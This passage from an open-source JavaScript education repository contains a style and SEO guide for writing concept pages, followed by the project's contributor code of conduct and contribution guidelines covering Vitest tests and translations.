| `"Event Loop"` | `"Event Loop: How Async Code Actually Runs in JavaScript"` | `"Event Loop: How Async Code Actually Runs"` |
| `"Scope"` | `"Scope and Closures: Variable Visibility in JavaScript"` | `"Scope and Closures: Variable Visibility"` |
| `"this"` | `"this: How Context Binding Works in JavaScript"` | `"this: How Context Binding Works"` |
| `"Prototype"` | `"Prototype Chain: Understanding Inheritance in JavaScript"` | `"Prototype Chain: Understanding Inheritance"` |
**Character Count Check:**
Before finalizing, verify your `title` length:
- Under 50 chars: Consider adding more descriptive context
- 50-60 chars: Perfect length
- Over 60 chars: Will be truncated in search results — shorten it
---
### Meta Description Optimization
The `description` field becomes the meta description — **the snippet users see in search results**. A compelling description increases click-through rate.
**Rules:**
1. **150-160 characters** maximum (Google truncates longer descriptions)
2. **Include primary keyword** in the first half
3. **Include secondary keywords** naturally if space allows
4. **Start with an action word** — "Learn", "Understand", "Discover" (avoid "Master" — sounds AI-generated)
5. **Promise specific value** — what will they learn?
6. **End with a hook** — give them a reason to click
**Description Formula:**
```
[Action word] [what the concept is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3].
```
**Description Examples:**
| Concept | ❌ Too Short (Low CTR) | ✓ SEO-Optimized (150-160 chars) |
|---------|----------------------|--------------------------------|
| DOM | `"Understanding the DOM"` | `"Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering."` |
| Closures | `"Functions that remember"` | `"Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns."` |
| Promises | `"Async JavaScript"` | `"Understand JavaScript Promises for handling asynchronous operations. Learn to create, chain, and combine Promises, handle errors properly, and write cleaner async code."` |
| Event Loop | `"How async works"` | `"Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking."` |
| Call Stack | `"Function execution"` | `"Learn how the JavaScript call stack tracks function execution. Understand stack frames, execution context, stack overflow errors, and how recursion affects the stack."` |
| this | `"Understanding this"` | `"Learn the 'this' keyword in JavaScript and how context binding works. Covers the four binding rules, arrow function behavior, and how to use call, apply, and bind."` |
**Character Count Check:**
- Under 120 chars: You're leaving value on the table — add more specifics
- 150-160 chars: Optimal length
- Over 160 chars: Will be truncated — edit ruthlessly
---
### Keyword Placement Strategy
Keywords must appear in strategic locations — but **always naturally**. Keyword stuffing hurts rankings.
**Priority Placement Locations:**
| Priority | Location | How to Include |
|----------|----------|----------------|
| 🔴 Critical | Title | Primary keyword in first half |
| 🔴 Critical | Meta description | Primary keyword + 1-2 secondary |
| 🔴 Critical | First paragraph | Natural mention within first 100 words |
| 🟠 High | H2 headings | Question-format headings with keywords |
| 🟠 High | "What you'll learn" box | Topic-related phrases |
| 🟡 Medium | H3 subheadings | Related keywords and concepts |
| 🟡 Medium | Key Takeaways | Reinforce main keywords naturally |
| 🟢 Good | Alt text | If using images, include keywords |
**Example: Keyword Placement for DOM Page**
```mdx
---
title: "DOM: How Browsers Represent Web Pages in JavaScript" ← 🔴 Primary: "in JavaScript" at end
sidebarTitle: "DOM: How Browsers Represent Web Pages" ← Sidebar: no "JavaScript"
description: "Learn how the DOM works in JavaScript. Understand ← 🔴 Primary: "DOM works in JavaScript"
how browsers represent HTML as a tree, select and manipulate ← 🔴 Secondary: "manipulate elements"
elements, traverse nodes, and optimize rendering."
---
How does JavaScript change what you see on a webpage? ← Hook question
The **Document Object Model (DOM)** is a programming interface ← 🔴 Primary keyword in first paragraph
for web documents. It represents your HTML as a **tree of
objects** that JavaScript can read and manipulate.
**What you'll learn in this guide:** ← 🟠 Topic reinforcement
- What the DOM actually is
- How to select elements (getElementById vs querySelector) ← Secondary keywords
- How to traverse the DOM tree
- How to create, modify, and remove elements ← "DOM" implicit
- How browsers render the DOM (Critical Rendering Path)
## What is the DOM in JavaScript? ← 🟠 H2 with question keyword
The DOM (Document Object Model) is... ← Natural repetition
## How the DOM Works ← 🟠 H2 with "how" keyword
## DOM Manipulation Methods ← 🟡 H3 with related keyword
## Key Takeaways ← 🟡 Reinforce in summary
```
**Warning Signs of Keyword Stuffing:**
- Same exact phrase appears more than 3-4 times per 1000 words
- Sentences read awkwardly because keywords were forced in
- Using keywords where pronouns ("it", "they", "this") would be natural
---
### Answering Search Intent
Google ranks pages that **directly answer the user's query**. Structure your content to satisfy search intent immediately.
**The First Paragraph Rule:**
The first paragraph after any H2 should directly answer the implied question. Don't build up to the answer — lead with it.
```mdx
## What is the Event Loop?
Before we can understand the event loop, we need to talk about JavaScript's
single-threaded nature. You see, JavaScript can only do one thing at a time,
and this creates some interesting challenges. The way JavaScript handles
this is through something called... the event loop.
## What is the Event Loop?
The **event loop** is JavaScript's mechanism for executing code, handling events,
and managing asynchronous operations. It continuously monitors the call stack
and task queue, moving queued callbacks to the stack when it's empty — this is
how JavaScript handles async code despite being single-threaded.
```
**Question-Format H2 Headings:**
Use H2s that match how people search:
| Search Query | H2 to Use |
|--------------|-----------|
| "what is the DOM" | `## What is the DOM?` |
| "how closures work" | `## How Do Closures Work?` |
| "why use promises" | `## Why Use Promises?` |
| "when to use async await" | `## When Should You Use async/await?` |
---
### Featured Snippet Optimization
Featured snippets appear at **position zero** — above all organic results. Structure your content to win them.
**Snippet Types and How to Win Them:**
```
┌─────────────────────────────────────────────────────────────────────────┐
│ FEATURED SNIPPET TYPES │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ QUERY TYPE SNIPPET FORMAT YOUR CONTENT STRUCTURE │
│ ─────────── ────────────── ───────────────────────── │
│ │
│ "What is X" Paragraph 40-60 word definition │
│ immediately after H2 │
│ │
│ "How to X" Numbered list component or │
│ numbered Markdown list │
│ │
│ "X vs Y" Table Comparison table with │
│ clear column headers │
│ │
│ "Types of X" Bulleted list Bullet list under │
│ descriptive H2 │
│ │
│ "[X] examples" Bulleted list or Code examples with │
│ code block brief explanations │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
**Pattern 1: Definition Snippet (40-60 words)**
For "what is [concept]" queries:
```mdx
## What is a Closure in JavaScript?
A **closure** is a function that retains access to variables from its outer
(enclosing) scope, even after that outer function has finished executing.
Closures are created every time a function is created in JavaScript, allowing
inner functions to "remember" and access their lexical environment.
```
**Why this wins:**
- H2 matches search query exactly
- Bold keyword in first sentence
- 40-60 word complete definition
- Explains the "why" not just the "what"
**Pattern 2: List Snippet (Steps)**
For "how to [action]" queries:
```mdx
## How to Make a Fetch Request in JavaScript
The `fetch()` function takes a URL and returns a Promise that resolves to a Response object.
Always verify `response.ok` before processing — fetch doesn't throw on HTTP errors.
Use `response.json()` for JSON data, `response.text()` for plain text.
Wrap everything in try/catch to handle both network and HTTP errors.
```
**Pattern 3: Table Snippet (Comparison)**
For "[X] vs [Y]" queries:
```mdx
## == vs === in JavaScript
| Aspect | `==` (Loose Equality) | `===` (Strict Equality) |
|--------|----------------------|------------------------|
| Type coercion | Yes — converts types before comparing | No — types must match |
| Speed | Slower (coercion overhead) | Faster (no coercion) |
| Predictability | Can produce surprising results | Always predictable |
| Recommendation | Avoid in most cases | Use by default |
```javascript
// Examples
5 == "5" // true (string coerced to number)
5 === "5" // false (different types)
```
```
**Pattern 4: List Snippet (Types/Categories)**
For "types of [concept]" queries:
```mdx
## Types of Scope in JavaScript
JavaScript has three types of scope that determine where variables are accessible:
- **Global Scope** — Variables declared outside any function or block; accessible everywhere
- **Function Scope** — Variables declared inside a function with `var`; accessible only within that function
- **Block Scope** — Variables declared with `let` or `const` inside `{}`; accessible only within that block
```
---
### Content Structure for SEO
How you structure content affects both rankings and user experience.
**The Inverted Pyramid:**
Put the most important information first. Search engines and users both prefer content that answers questions immediately.
```
┌─────────────────────────────────────────────────────────────────────────┐
│ THE INVERTED PYRAMID │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ │
│ ┌─────────────────────────────────────┐ │
│ │ ANSWER THE QUESTION │ ← First 100 words │
│ │ Definition + Core Concept │ (most important) │
│ └──────────────────┬──────────────────┘ │
│ │ │
│ ┌────────────────┴────────────────┐ │
│ │ EXPLAIN HOW IT WORKS │ ← Next 300 words │
│ │ Mechanism + Visual Diagram │ (supporting info) │
│ └────────────────┬─────────────────┘ │
│ │ │
│ ┌──────────────────┴──────────────────┐ │
│ │ SHOW PRACTICAL EXAMPLES │ ← Code examples │
│ │ Code + Step-by-step │ (proof it works) │
│ └──────────────────┬──────────────────┘ │
│ │ │
│ ┌──────────────────────┴──────────────────────┐ │
│ │ COVER EDGE CASES │ ← Advanced │
│ │ Common mistakes, gotchas │ (depth) │
│ └──────────────────────┬──────────────────────┘ │
│ │ │
│ ┌──────────────────────────┴──────────────────────────┐ │
│ │ ADDITIONAL RESOURCES │ ← External │
│ │ Related concepts, articles, videos │ (links) │
│ └──────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
**Scannable Content Patterns:**
Google favors content that's easy to scan. Use these elements:
| Element | SEO Benefit | When to Use |
|---------|-------------|-------------|
| Short paragraphs | Reduces bounce rate | Always (2-4 sentences max) |
| Bullet lists | Often become featured snippets | Lists of 3+ items |
| Numbered lists | "How to" snippet potential | Sequential steps |
| Tables | High snippet potential | Comparisons, reference data |
| Bold text | Highlights keywords for crawlers | First mention of key terms |
| Headings (H2/H3) | Structure signals to Google | Every major topic shift |
**Content Length Guidelines:**
| Length | Assessment | Action |
|--------|------------|--------|
| Under 1,000 words | Too thin | Add more depth, examples, edge cases |
| 1,000-1,500 words | Minimum viable | Acceptable for simple concepts |
| 1,500-2,500 words | Good | Standard for most concept pages |
| 2,500-4,000 words | Excellent | Ideal for comprehensive guides |
| Over 4,000 words | Evaluate | Consider splitting into multiple pages |
**Note:** Length alone doesn't guarantee rankings. Every section must add value — don't pad content.
---
### Internal Linking for SEO
Internal links help search engines understand your site structure and distribute page authority.
**Topic Cluster Strategy:**
Think of concept pages as an interconnected network. Every concept should link to 3-5 related concepts:
```
┌─────────────────┐
┌───────│ Promises │───────┐
│ └────────┬────────┘ │
│ │ │
▼ ▼ ▼
┌───────────┐ ┌───────────────┐ ┌─────────────┐
│async/await│◄──►│ Event Loop │◄──►│ Callbacks │
└───────────┘ └───────────────┘ └─────────────┘
│ │ │
│ ▼ │
│ ┌───────────────┐ │
└──────►│ Call Stack │◄───────┘
└───────────────┘
```
**Link Placement Guidelines:**
1. **In Prerequisites (Warning box):**
```mdx
**Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) and the [Event Loop](/concepts/event-loop). Read those first if you're not comfortable with asynchronous JavaScript.
```
2. **In Body Content (natural context):**
```mdx
When the callback finishes, it's added to the task queue — which is managed by the [event loop](/concepts/event-loop).
```
3. **In Related Concepts Section:**
```mdx
async/await is built on top of Promises
How JavaScript manages async operations
```
**Anchor Text Best Practices:**
| ❌ Bad Anchor Text | ✓ Good Anchor Text | Why |
|-------------------|-------------------|-----|
| "click here" | "event loop guide" | Descriptive, includes keyword |
| "this article" | "our Promises concept" | Tells Google what page is about |
| "here" | "JavaScript closures" | Keywords in anchor text |
| "read more" | "understanding the call stack" | Natural, informative |
---
### URL and Slug Best Practices
URLs (slugs) are a minor but meaningful ranking factor.
**Rules:**
1. **Use lowercase** — `closures` not `Closures`
2. **Use hyphens** — `call-stack` not `call_stack` or `callstack`
3. **Keep it short** — aim for 3-5 words maximum
4. **Include primary keyword** — the concept name
5. **Avoid stop words** — skip "the", "and", "in", "of" unless necessary
**Slug Examples:**
| Concept | ❌ Avoid | ✓ Use |
|---------|---------|-------|
| The Event Loop | `the-event-loop` | `event-loop` |
| this, call, apply and bind | `this-call-apply-and-bind` | `this-call-apply-bind` |
| Scope and Closures | `scope-and-closures` | `scope-and-closures` (acceptable) or `scope-closures` |
| DOM and Layout Trees | `dom-and-layout-trees` | `dom` or `dom-layout-trees` |
**Note:** For this project, slugs are already set. When creating new pages, follow these conventions.
---
### Opening Paragraph: The SEO Power Move
The opening paragraph is prime SEO real estate. It should:
1. Hook the reader with a question they're asking
2. Include the primary keyword naturally
3. Provide a brief definition or answer
4. Set up what they'll learn
**Template:**
```mdx
[Question hook that matches search intent?] [Maybe another question?]
The **[Primary Keyword]** is [brief definition that answers "what is X"].
[One sentence explaining why it matters or what it enables].
```javascript
// Immediately show a simple example
```
[Brief transition to "What you'll learn" box]
```
**Example (Closures):**
```mdx
Why do some functions seem to "remember" variables that should have disappeared?
How can a callback still access variables from a function that finished running
long ago?
The answer is **closures** — one of JavaScript's most powerful (and often
misunderstood) features. A closure is a function that retains access to its
outer scope's variables, even after that outer scope has finished executing.
```javascript
function createCounter() {
let count = 0 // This variable is "enclosed" by the returned function
return function() {
count++
return count
}
}
const counter = createCounter()
console.log(counter()) // 1
console.log(counter()) // 2 — it remembers!
```
Understanding closures unlocks patterns like private variables, factory functions,
and the module pattern that power modern JavaScript.
```
**Why this works for SEO:**
- Question hooks match how people search ("why do functions remember")
- Bold keyword in first paragraph
- Direct definition answers "what is a closure"
- Code example demonstrates immediately
- Natural setup for learning objectives
---
## Inline Linking Rules (Critical!)
### Always Link to MDN
Whenever you introduce a new Web API, method, object, or JavaScript concept, **link to MDN immediately**. This gives readers a path to deeper learning.
```mdx
The **[Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)** is JavaScript's modern way to make network requests.
The **[Response](https://developer.mozilla.org/en-US/docs/Web/API/Response)** object contains everything about the server's reply.
Most modern APIs return data in **[JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON)** format.
The Fetch API is JavaScript's modern way to make network requests.
```
### Link to Related Concept Pages
When mentioning concepts covered in other pages, link to them:
```mdx
If you're not familiar with it, check out our [async/await concept](/concepts/async-await) first.
This guide assumes you understand [Promises](/concepts/promises).
If you're not familiar with async/await, you should learn that first.
```
### Common MDN Link Patterns
| Concept | MDN URL Pattern |
|---------|-----------------|
| Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` |
| JavaScript Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` |
| HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` |
| HTTP Methods | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/{METHOD}` |
| HTTP Headers | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers` |
---
## Code Examples Best Practices
### 1. Start with the Simplest Possible Example
```javascript
// ✓ GOOD: Start with the absolute basics
// This is how you fetch data in JavaScript
const response = await fetch('https://api.example.com/users/1')
const user = await response.json()
console.log(user.name) // "Alice"
```
### 2. Use Step-by-Step Comments
```javascript
// Step 1: fetch() returns a Promise that resolves to a Response object
const responsePromise = fetch('https://api.example.com/users')
// Step 2: When the response arrives, we get a Response object
responsePromise.then(response => {
console.log(response.status) // 200
// Step 3: The body is a stream, we need to parse it
return response.json()
})
.then(data => {
// Step 4: Now we have the actual data
console.log(data)
})
```
### 3. Show Output in Comments
```javascript
const greeting = "Hello"
console.log(typeof greeting) // "string"
const numbers = [1, 2, 3]
console.log(numbers.length) // 3
```
### 4. Use ❌ and ✓ for Wrong/Correct Patterns
```javascript
// ❌ WRONG - This misses HTTP errors!
try {
const response = await fetch('/api/users/999')
const data = await response.json()
} catch (error) {
// Only catches NETWORK errors, not 404s!
}
// ✓ CORRECT - Check response.ok
try {
const response = await fetch('/api/users/999')
if (!response.ok) {
throw new Error(`HTTP error! Status: ${response.status}`)
}
const data = await response.json()
} catch (error) {
// Now catches both network AND HTTP errors
}
```
### 5. Use Meaningful Variable Names
```javascript
// ❌ BAD
const x = [1, 2, 3]
const y = x.map(z => z * 2)
// ✓ GOOD
const numbers = [1, 2, 3]
const doubled = numbers.map(num => num * 2)
```
### 6. Progress from Simple to Complex
```javascript
// Level 1: Basic usage
fetch('/api/users')
// Level 2: With options
fetch('/api/users', {
method: 'POST',
body: JSON.stringify({ name: 'Alice' })
})
// Level 3: Full real-world pattern
async function createUser(userData) {
const response = await fetch('/api/users', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(userData)
})
if (!response.ok) {
throw new Error(`Failed to create user: ${response.status}`)
}
return response.json()
}
```
---
## Resource Curation Guidelines
External resources (articles, videos) are valuable, but must meet quality standards.
### Quality Standards
Only include resources that are:
1. **JavaScript-focused** — No resources primarily about other languages (C#, Python, Java, etc.), even if the concepts are similar
2. **Still accessible** — Verify all links work before publishing
3. **High quality** — From reputable sources (MDN, javascript.info, freeCodeCamp, well-known educators)
4. **Up to date** — Avoid outdated resources; check publication dates for time-sensitive topics
5. **Accurate** — Skim the content to verify it doesn't teach anti-patterns
### Writing Resource Descriptions
Each resource needs a **specific, engaging 2-sentence description** explaining what makes it unique. Generic descriptions waste the reader's time.
```mdx
Learn about Promises in JavaScript.
A comprehensive guide to async/await.
The go-to reference for async/await fundamentals. Includes exercises at the end to test your understanding of rewriting promise chains.
Animated GIFs showing the call stack, microtask queue, and event loop in action. This is how async/await finally "clicked" for thousands of developers.
The pizza-and-drinks ordering example makes parallel vs sequential execution crystal clear. Essential reading once you know the basics.
```
**Description Formula:**
1. **Sentence 1:** What makes this resource unique OR what it specifically covers
2. **Sentence 2:** Why a reader should click (what they'll gain, who it's best for, what stands out)
**Avoid in descriptions:**
- "Comprehensive guide to..." (vague)
- "Great tutorial on..." (vague)
- "Learn all about..." (vague)
- "Everything you need to know about..." (cliché)
### Recommended Sources
**Articles (Prioritize):**
| Source | Why |
|--------|-----|
| javascript.info | Comprehensive, well-maintained, exercises included |
| MDN Web Docs | Official reference, always accurate |
| freeCodeCamp | Beginner-friendly, practical tutorials |
| dev.to (Lydia Hallie, etc.) | Visual explanations, community favorites |
| CSS-Tricks | DOM, browser APIs, visual topics |
**Videos (Prioritize):**
| Creator | Style |
|---------|-------|
| Web Dev Simplified | Clear, beginner-friendly, concise |
| Fireship | Fast-paced, modern, entertaining |
| Traversy Media | Comprehensive crash courses |
| Fun Fun Function | Deep-dives with personality |
| Wes Bos | Practical, real-world focused |
**Avoid:**
- Resources in other programming languages (C#, Python, Java) even if concepts overlap
- Outdated tutorials (pre-ES6 syntax for modern concepts)
- Paywalled content (unless there's a free tier)
- Low-quality Medium articles (check engagement and accuracy)
- Resources that teach anti-patterns
- Videos over 2 hours (link to specific timestamps if valuable)
### Verifying Resources
Before including any resource:
1. **Click the link** — Verify it loads and isn't behind a paywall
2. **Skim the content** — Ensure it's accurate and well-written
3. **Check the date** — For time-sensitive topics, prefer recent content
4. **Read comments/reactions** — Community feedback reveals quality issues
5. **Test code examples** — If they include code, verify it works
---
## ASCII Art Diagrams
Use ASCII art to visualize concepts. Make them boxed and labeled:
```
┌─────────────────────────────────────────────────────────────────────────┐
│ THE REQUEST-RESPONSE CYCLE │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ YOU (Browser) KITCHEN (Server) │
│ ┌──────────┐ ┌──────────────┐ │
│ │ │ ──── "I'd like pasta" ────► │ │ │
│ │ :) │ (REQUEST) │ [chef] │ │
│ │ │ │ │ │
│ │ │ ◄──── Here you go! ──────── │ │ │
│ │ │ (RESPONSE) │ │ │
│ └──────────┘ └──────────────┘ │
│ │
│ The waiter (HTTP) is the protocol that makes this exchange work! │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
---
## Mintlify Components Reference
| Component | When to Use |
|-----------|-------------|
| `` | "What you'll learn" boxes, Key Takeaways |
| `` | Common mistakes, gotchas, prerequisites |
| `` | Pro tips, rules of thumb, best practices |
| `` | Additional context, side notes |
| `` | Expandable content, Q&A sections, optional deep-dives |
| `` | Comparing different approaches side-by-side |
| `` | Sequential processes, numbered workflows |
| `` | Resource links (articles, videos, references) |
| `` | Individual resource with icon and link |
### Card Icons Reference
| Content Type | Icon |
|--------------|------|
| MDN/Official Docs | `book` |
| Articles/Blog Posts | `newspaper` |
| Videos | `video` |
| Courses | `graduation-cap` |
| Related Concepts | Context-appropriate (`handshake`, `hourglass`, `arrows-spin`, `sitemap`, etc.) |
---
## Quality Checklist
Before finalizing a concept page, verify ALL of these:
### Structure
- [ ] Opens with engaging questions that hook the reader
- [ ] Shows a simple code example immediately after the opening
- [ ] Has "What you'll learn" Info box right after the opening
- [ ] Major sections are separated by `---` horizontal rules
- [ ] Has a real-world analogy with ASCII art diagram
- [ ] Has a "Common Mistakes" or "The #1 Mistake" section
- [ ] Has a "Key Takeaways" section summarizing 8-10 points
- [ ] Has a "Test Your Knowledge" section with 5-6 Q&As
- [ ] Ends with Related Concepts, Reference, Articles, Videos in that order
### Linking
- [ ] All new Web APIs/methods have inline MDN links on first mention
- [ ] All related concepts link to their concept pages (`/concepts/slug`)
- [ ] Reference section has multiple MDN links
- [ ] 4-6 quality articles with descriptions
- [ ] 3-4 quality videos with descriptions
### Code Examples
- [ ] First code example is dead simple
- [ ] Uses step-by-step comments for complex examples
- [ ] Shows output in comments (`// "result"`)
- [ ] Uses ❌ and ✓ for wrong/correct patterns
- [ ] Uses meaningful variable names
- [ ] Progresses from simple to complex
### Content Quality
- [ ] Written for someone who might be new to coding
- [ ] Prerequisites are noted with Warning component
- [ ] No assumptions about prior knowledge without links
- [ ] Tables used for quick reference information
- [ ] ASCII diagrams for visual concepts
### Language Quality
- [ ] Description starts with "Learn" or "Understand" (not "Master")
- [ ] No overuse of em dashes (fewer than 15 outside Key Takeaways and structured sections)
- [ ] No AI superlatives: "dramatically", "fundamentally", "incredibly", "extremely"
- [ ] No stiff phrases: "one of the most important", "essential points", "It should be noted"
- [ ] Emphasis patterns vary (not all "Key insight:" or "Best practice:")
- [ ] Playful touches are sparse (1-2 per major section maximum)
- [ ] No filler words: "basically", "essentially", "actually", "very", "really"
- [ ] Sentences are direct (no "In order to", "Due to the fact that")
### Resource Quality
- [ ] All article/video links are verified working
- [ ] All resources are JavaScript-focused (no C#, Python, Java resources)
- [ ] Each resource has a specific 2-sentence description (not generic)
- [ ] Resource descriptions explain what makes each unique
- [ ] No outdated resources (check dates for time-sensitive topics)
- [ ] 4-6 articles from reputable sources
- [ ] 3-4 videos from quality creators
---
## Writing Tests
When adding code examples, create corresponding tests in `/tests/`:
```javascript
// tests/{category}/{concept-name}/{concept-name}.test.js
import { describe, it, expect } from 'vitest'
describe('Concept Name', () => {
describe('Basic Examples', () => {
it('should demonstrate the core concept', () => {
// Convert console.log examples to expect assertions
expect(typeof "hello").toBe("string")
})
})
describe('Common Mistakes', () => {
it('should show the wrong behavior', () => {
// Test the "wrong" example to prove it's actually wrong
})
it('should show the correct behavior', () => {
// Test the "correct" example
})
})
})
```
---
## SEO Checklist
Verify these elements before publishing any concept page:
### Title & Meta Description
- [ ] **Title is 50-60 characters** — check with character counter
- [ ] **Title ends with "in JavaScript"** — SEO keyword at end
- [ ] **Title has a compelling hook** — tells reader what they'll understand
- [ ] **sidebarTitle matches title but without "in JavaScript"** — cleaner navigation
- [ ] **Description is 150-160 characters** — don't leave value on the table
- [ ] **Description includes primary keyword** in first sentence
- [ ] **Description includes 1-2 secondary keywords** naturally
- [ ] **Description starts with action word** (Learn, Understand, Discover — avoid "Master")
- [ ] **Description promises specific value** — what will they learn?
### Keyword Placement
- [ ] **Primary keyword in title**
- [ ] **Primary keyword in description**
- [ ] **Primary keyword in first paragraph** (within first 100 words)
- [ ] **Primary keyword in at least one H2 heading**
- [ ] **Secondary keywords in H2/H3 headings** where natural
- [ ] **Keywords in "What you'll learn" box items**
- [ ] **No keyword stuffing** — content reads naturally
### Content Structure
- [ ] **Opens with question hook** matching search intent
- [ ] **Shows code example in first 200 words**
- [ ] **First paragraph after H2s directly answers** the implied question
- [ ] **Content is 1,500+ words** (comprehensive coverage)
- [ ] **Short paragraphs** (2-4 sentences maximum)
- [ ] **Uses bullet lists** for 3+ related items
- [ ] **Uses numbered lists** for sequential processes
- [ ] **Uses tables** for comparisons and reference data
- [ ] **Key terms bolded** on first mention with MDN links
### Featured Snippet Optimization
- [ ] **"What is X" section has 40-60 word definition paragraph**
- [ ] **"How to" sections use numbered steps or `` component**
- [ ] **Comparison sections use tables** with clear headers
- [ ] **At least one H2 is phrased as a question** matching search query
### Internal Linking
- [ ] **Links to 3-5 related concept pages** in body content
- [ ] **Uses descriptive anchor text** (not "click here" or "here")
- [ ] **Prerequisites linked in Warning component** at start
- [ ] **Related Concepts section has 4 cards** with relevant concepts
- [ ] **Links appear in natural context** — not forced
### Technical SEO
- [ ] **Slug is lowercase with hyphens**
- [ ] **Slug contains primary keyword**
- [ ] **Slug is 3-5 words maximum**
- [ ] **All external links use proper URLs** (no broken links)
- [ ] **MDN links are current** (check they resolve)
================================================
FILE: CODE_OF_CONDUCT.md
================================================
# Contributor Covenant Code of Conduct
## Our Pledge
We as members, contributors, and leaders pledge to participate in our
community a harassment-free experience for everyone, regardless of age, body
size, visible or invisible disability, ethnicity, sex characteristics, gender
identity and expression, level of experience, education, socio-economic status,
nationality, personal appearance, race, religion, or sexual identity
and orientation.
We pledge to act and interact in ways that contribute to an open, welcoming,
diverse, inclusive, and healthy community.
## Our Standards
Examples of behavior that contributes to a positive environment for our
community includes:
* Demonstrating empathy and kindness toward other people
* Being respectful of differing opinions, viewpoints, and experiences
* Giving and gracefully accepting constructive feedback
* Accepting responsibility and apologizing to those affected by our mistakes,
and learning from the experience
* Focusing on what is best not just for us as individuals, but for the
overall community
Examples of unacceptable behavior include:
* The use of sexualized language or imagery, and sexual attention or
advances of any kind
* Trolling, insulting or derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or email
address, without their explicit permission
* Other conduct that could reasonably be considered inappropriate in a
professional setting
## Enforcement Responsibilities
Community leaders are responsible for clarifying and enforcing our standards of
acceptable behavior and will take appropriate and fair corrective action in
response to any behavior that they deem inappropriate, threatening, offensive,
or harmful.
Community leaders have the right and responsibility to remove, edit, or reject
comments, commits, code, wiki edits, issues, and other contributions that are
not aligned to this Code of Conduct, and will communicate reasons for moderation
decisions when appropriate.
## Scope
This Code of Conduct applies within all community spaces, and also applies when
an individual is officially representing the community in public areas.
Examples of representing our community include using an official e-mail address,
posting via an official social media account, or acting as an appointed
representative at an online or offline event.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported to the community leaders responsible for enforcement at
leonardomso11@gmail.com.
All complaints will be reviewed and investigated promptly and fairly.
All community leaders are obligated to respect the privacy and security of the
reporter of any incident.
## Enforcement Guidelines
Community leaders will follow these Community Impact Guidelines in determining
the consequences for any action they deem in violation of this Code of Conduct:
### 1. Correction
**Community Impact**: Use of inappropriate language or other behavior deemed
unprofessional or unwelcome in the community.
**Consequence**: A private, written warning from community leaders, providing
clarity around the nature of the violation and an explanation of why the
behavior was inappropriate. A public apology may be requested.
### 2. Warning
**Community Impact**: A violation through a single incident or series
of actions.
**Consequence**: A warning with consequences for continued behavior. No
interaction with the people involved, including unsolicited interaction with
those enforcing the Code of Conduct, for a specified period of time. This
includes avoiding interactions in community spaces as well as external channels
like social media. Violating these terms may lead to a temporary or
permanent ban.
### 3. Temporary Ban
**Community Impact**: A serious violation of community standards, including
sustained inappropriate behavior.
**Consequence**: A temporary ban from any sort of interaction or public
communication with the community for a specified period of time. No public or
private interaction with the people involved, including unsolicited interaction
with those enforcing the Code of Conduct, is allowed during this period.
Violating these terms may lead to a permanent ban.
### 4. Permanent Ban
**Community Impact**: Demonstrating a pattern of violation of community
standards, including sustained inappropriate behavior, harassment of an
individual, or aggression toward or disparagement of classes of individuals.
**Consequence**: A permanent ban from any sort of public interaction within
the community.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
version 2.0, available at
https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.
Community Impact Guidelines were inspired by [Mozilla's code of conduct
enforcement ladder](https://github.com/mozilla/diversity).
[homepage]: https://www.contributor-covenant.org
For answers to common questions about this code of conduct, see the FAQ at
https://www.contributor-covenant.org/faq. Translations are available at
https://www.contributor-covenant.org/translations.
================================================
FILE: CONTRIBUTING.md
================================================
# Contribution
This project would not be possible without your help and support, and we appreciate your willingness to contribute!
## Testing
This project uses [Vitest](https://vitest.dev/) as the test runner to verify that code examples in the documentation work correctly.
### Running Tests
```bash
# Run all tests once
npm test
# Run tests in watch mode (re-runs on file changes)
npm run test:watch
# Run tests with coverage report
npm run test:coverage
```
### Test Structure
Tests are organized by concept in the `tests/` directory:
```
tests/
├── call-stack/
│ └── call-stack.test.js
├── primitive-types/
│ └── primitive-types.test.js
└── ...
```
### Writing Tests for Code Examples
When adding new code examples to concept documentation, please include corresponding tests:
1. **File naming**: Create `{concept-name}.test.js` in `tests/{concept-name}/`
2. **Use explicit imports**:
```javascript
import { describe, it, expect } from 'vitest'
```
3. **Convert console.log examples to assertions**:
```javascript
// Documentation example:
// console.log(typeof "hello") // "string"
// Test:
it('should return string type', () => {
expect(typeof "hello").toBe("string")
})
```
4. **Test error cases**: Use `expect(() => { ... }).toThrow()` for operations that should throw
5. **Skip browser-specific examples**: Tests run in Node.js, so skip DOM/window/document examples
6. **Note strict mode behavior**: Vitest runs in strict mode, so operations that "silently fail" in non-strict mode will throw `TypeError`
### Creating a New Translation
To create a new translation, please follow these steps:
* Fork the [main repository](https://github.com/leonardomso/33-js-concepts).
* Add yourself to the watch list of the main repository to stay updated with any changes.
* Translate the repository on your forked copy.
* Go to the [main repository](https://github.com/leonardomso/33-js-concepts) and edit the README.md file to include a link to your translated repository.
* Inside the **Community** section, add a new line with the link to your translated repository in the following format:
* [Your language in native form (English name)](link to your repository here) — Your Name
* For example, `[日本語 (Japanese)](https://github.com/oimo23/33-js-concepts) — oimo23`
* Create a new Pull Request with the name "Add *your language here* translation."
* Now, just wait for the merge!
## License
By contributing, you agree that your contributions will be licensed under the [MIT license](./LICENSE).
================================================
FILE: LICENSE
================================================
